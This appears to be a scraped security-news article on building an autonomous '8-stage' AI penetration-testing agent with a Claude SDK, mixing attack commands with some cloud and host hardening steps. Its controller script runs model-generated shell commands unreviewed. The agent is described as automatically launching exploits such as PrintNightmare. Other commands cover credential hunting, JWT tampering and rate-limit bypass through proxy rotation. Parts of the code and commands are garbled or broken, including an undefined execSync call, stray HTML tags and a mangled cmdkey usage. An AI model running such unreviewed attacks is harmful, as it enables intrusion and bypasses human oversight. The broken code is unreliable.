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Introduction:
The fusion of large language models with autonomous vulnerability discovery is reshaping offensive security. Cloudflare’s CSO recently demonstrated an unreleased 8‑stage agent built on Anthropic’s Mythos, capable of chaining recon, exploitation, and reporting without human hand‑holding. This article reverse‑engineers that concept using Claude’s SDK (Pro/Max subscription, no API key required), delivering a practical framework for building your own AI‑driven penetration testing assistant—complete with Linux/Windows commands, cloud hardening checks, and mitigation strategies.
Learning Objectives:
- Implement an 8‑stage recursive vulnerability agent using Claude SDK and local tooling
- Execute automated recon, privilege escalation, and API security tests across Linux/Windows targets
- Apply mitigation tactics for AI‑discovered flaws including race conditions, misconfigurations, and exposed secrets
You Should Know:
1. The 8‑Stage Vulnerability‑Discovery Architecture
The agent’s workflow mimics a human pentester but runs iteratively via Claude’s reasoning. Each stage passes JSON findings to the next, enabling autonomous refinement.
Stages defined:
- Recon – port scanning, service fingerprinting, subdomain enumeration
- Credential Hunting – config files, logs, memory scraping
- Input Fuzzing – SQLi, XSS, command injection payloads
- Privilege Escalation – sudo -l, Windows SeImpersonate, kernel exploits
- Lateral Movement – SSH key reuse, Pass‑the‑Hash, WinRM
- API Abuse – JWT tampering, GraphQL introspection, rate‑limit bypass
7. Post‑Exploitation – persistence, data exfiltration simulation
- Reporting – CVSS scoring, reproduction steps, remediation code
Step‑by‑step guide to implement the agent (Linux):
Install Claude SDK (requires Node.js 18+)
npm install -g @anthropic-ai/claude-sdk
Set up environment (Pro/Max subscription stored in ~/.claude/config.json)
claude auth login --method pro
Create the 8‑stage controller script
cat > vuln_agent_8stage.js << 'EOF'
const { Claude } = require('@anthropic-ai/claude-sdk');
const { exec } = require('child_process');
const fs = require('fs');
const stages = [
'recon', 'cred_hunt', 'fuzz', 'privesc',
'lateral', 'api_abuse', 'post_exploit', 'report'
];
async function runStage(stage, previousFindings) {
const prompt = <code>You are an 8‑stage vulnerability agent. Stage: ${stage}
Previous findings: ${JSON.stringify(previousFindings)}
Generate exact bash/powershell commands to execute next, then analyze output.
Return JSON: { "commands": [], "analysis": "", "newFindings": [] }</code>;
const response = await Claude.chat({ prompt, model: 'claude-3-opus-20240229' });
const plan = JSON.parse(response.content);
for (const cmd of plan.commands) {
const output = execSync(cmd).toString();
plan.analysis += <code>\nOutput of ${cmd}:\n${output}</code>;
}
return plan.newFindings;
}
(async () => {
let allFindings = [];
for (const stage of stages) {
console.log(<code>[+] Executing ${stage}</code>);
allFindings = await runStage(stage, allFindings);
fs.writeFileSync(<code>findings_${stage}.json</code>, JSON.stringify(allFindings, null, 2));
}
})();
EOF
Execute (ensure target IP or domain set in env)
node vuln_agent_8stage.js
Windows equivalent (PowerShell + Claude SDK for Windows):
Install Claude SDK via npm (requires Node.js) npm install -g @anthropic-ai/claude-sdk claude auth login --method pro Stage 1: Recon on Windows $target = "192.168.1.100" nmap -sV -p- $target -oN recon.txt Test-NetConnection -ComputerName $target -Port 445,3389,5985 Get-NetTCPConnection | Where-Object State -eq 'Listen' | Out-File local_ports.txt Claude integration: read output and generate next stage $reconOutput = Get-Content recon.txt -Raw $prompt = @" Stage: privesc (Windows) Recon data: $reconOutput Generate PowerShell commands to check for Unquoted Service Paths, AlwaysInstallElevated, and stored credentials in registry. "@ claude chat --prompt $prompt --save-response privesc_plan.json
2. Hardening Against AI‑Driven Reconnaissance
AI agents accelerate reconnaissance; defenders must implement noise and deception.
Linux hardening commands:
Randomize port scan responses (using iptables TARPIT) iptables -A INPUT -p tcp --dport 1:65535 -j TARPIT Obfuscate service banners sed -i 's/Server: Apache/Server: CustomProxy\/2.0/g' /etc/apache2/conf-enabled/security.conf Deploy fake open ports with honeytraps (using honeyd) honeyd -d -f honeyd.conf
Windows hardening (PowerShell):
Disable LLMNR and NetBIOS to prevent credential relay Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -Value 0 Block ICMP timestamp requests (used by AI recon) New-NetFirewallRule -DisplayName "Block ICMP Timestamp" -Protocol ICMPv4 -IcmpType 13 -Action Block Randomize SMB banners Set-SmbServerConfiguration -ServerAnnounceComment "Randomized-$((Get-Random))" -Force
Step‑by‑step deception setup:
- Install `portsentry` to detect and block port scans automatically
- Configure fake SSH on port 2222 logging all attempts to `/var/log/ssh-honeypot.log`
3. Use `openssl s_client -connect target:443` to emulate TLS‑aware AI scans—monitor with `fail2ban` - Exploiting API Security Gaps with the Agent (Step‑by‑Step)
The 6th stage (API abuse) targets GraphQL, REST, and JWT. Use these commands to simulate and fix.
Find API endpoints using AI + ffuf:
Let Claude generate a wordlist based on JavaScript analysis curl -s https://target.com/app.js | claude chat --prompt "Extract all endpoint paths from this JS" --output api_paths.txt ffuf -u https://target.com/FUZZ -w api_paths.txt -fc 404 -o api_hits.json
JWT tampering test (Linux):
Extract JWT from headers token=$(curl -s -I https://target.com/login | grep -i "Set-Cookie" | cut -d'=' -f2 | cut -d';' -f1) Use jwt_tool to test alg:none and weak secrets jwt_tool $token -X a -d "admin=true" -I -hc
Windows API abuse (PowerShell):
GraphQL introspection abuse
$query = @{ query = 'query { __schema { types { name fields { name } } } }' }
Invoke-RestMethod -Uri "https://target.com/graphql" -Method Post -Body ($query|ConvertTo-Json) -ContentType "application/json" | Out-File schema.json
Rate‑limit bypass using IP rotation (requires proxy list)
$proxies = Get-Content proxies.txt
foreach ($proxy in $proxies) {
$response = Invoke-WebRequest -Uri "https://target.com/api/otp" -Proxy $proxy
if ($response.StatusCode -eq 200) { "Bypass with $proxy" }
}
Mitigation commands (Nginx / API gateway):
Limit requests per IP per minute
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/m;
Block introspection queries
location /graphql {
if ($request_body ~ "__schema") { return 403; }
proxy_pass http://graphql_backend;
}
4. Linux Privilege Escalation Automation (Stage 4 Commands)
The agent autonomously runs these checks:
1. Sudo misconfigurations
sudo -l | claude chat --prompt "Identify any sudo commands that allow privilege escalation (e.g., vim, find, awk)"
<ol>
<li>SUID binaries
find / -perm -4000 2>/dev/null | xargs -I {} sh -c 'ls -la {}' > suid_list.txt</p></li>
<li><p>Cron job abuse
cat /etc/crontab /var/spool/cron/crontabs/ 2>/dev/null | claude chat --prompt "Check for writable cron scripts"</p></li>
<li><p>Kernel exploit suggester
./linux-exploit-suggester.sh --kernel $(uname -r) | grep -i "exploit"
Windows privilege escalation (PowerShell):
Check AlwaysInstallElevated
Get-ItemProperty "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Unquoted service paths
Get-WmiObject win32_service | Where-Object {$<em>.PathName -notlike '"'} | Select-Object Name, PathName, StartMode
Stored credentials in Windows Vault
dir C:\Users\AppData\Local\Microsoft\Credentials\ | % { cmdkey /list:$</em>.FullName }
How the agent uses this: It runs all commands, feeds output back to Claude for analysis, then automatically executes the most promising exploit (e.g., `CVE-2021-3156` for sudo, or `PrintNightmare` for Windows).
- Cloud Hardening & Remediation (Based on Agent Findings)
After the agent discovers a misconfiguration, apply these fixes:
AWS CLI hardening (Linux/Windows):
Enforce IMDSv2 to prevent metadata theft aws ec2 modify-instance-metadata-options --instance-id i-xxxx --http-tokens required --http-endpoint enabled Detect exposed S3 buckets from agent's recon output cat findings_recon.json | jq '.buckets[]' | while read bucket; do aws s3api get-bucket-acl --bucket $bucket | grep -i "AllUsers" && echo "WARNING: $bucket public" done Remediate: block public ACLs aws s3api put-public-access-block --bucket $bucket --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true"
Azure hardening (PowerShell):
Disable managed identity token exposure az vm update --name target-vm --resource-group rg --set osProfile.secrets='[]' Enforce just‑in‑time VM access az vm jit-policy create --location eastus --name JitPolicy --resource-group rg --vm-names target-vm --max-access 3 --port 22,3389
GCP (gcloud):
gcloud compute instances add-metadata instance-1 --metadata block-project-ssh-keys=TRUE gcloud org-policies deny compute.vmExternalIpAccess --project=my-project
What Undercode Say:
- Key Takeaway 1: The 8‑stage agent is not science fiction—using Claude SDK with Pro subscription, any security engineer can replicate enterprise‑grade automated pentesting without expensive API tokens.
- Key Takeaway 2: Defenders must shift from static rules to “chaos engineering” against AI—randomized banners, honeytokens, and rate‑limiting based on behavioral anomalies (not just IP) are now mandatory.
Analysis: Simone Margaritelli’s revelation that Cloudflare’s CSO tested Anthropic Mythos highlights a critical pivot: AI agents will soon outpace manual bug bounty hunting. The key advantage is recursion—Claude can read its own command outputs and adjust tactics dynamically. However, this also weaponizes AI for script kiddies. The mitigation lies in adversarial noise: deploying fake vulnerabilities (e.g., honeypot SUID binaries that alert on execution) and using tools like `auditd` to detect AI‑generated command patterns (e.g., rapid sequential fuzzing). The provided commands give both red and blue teams a battlefield blueprint.
Prediction:
Within 12 months, every major cloud provider will offer “AI penetration testing as a service” using agents like the one above. Simultaneously, defensive AI will evolve to predict the agent’s next 3 stages using transformer models trained on exploit chains. The cyber arms race will shift from human‑driven to LLM‑driven, with the winner being the organization that masters real‑time command‑level feedback loops—turning Claude from a vulnerability finder into a self‑hardening oracle. Expect regulation mandating AI‑powered red teaming for all critical infrastructure by 2027.
Reference URL from original post: https://lnkd.in/dJpcvj4N (LinkedIn discussion on Cloudflare’s Mythos testing)
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IT/Security Reporter URL:
Reported By: Simonemargaritelli Earlier – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
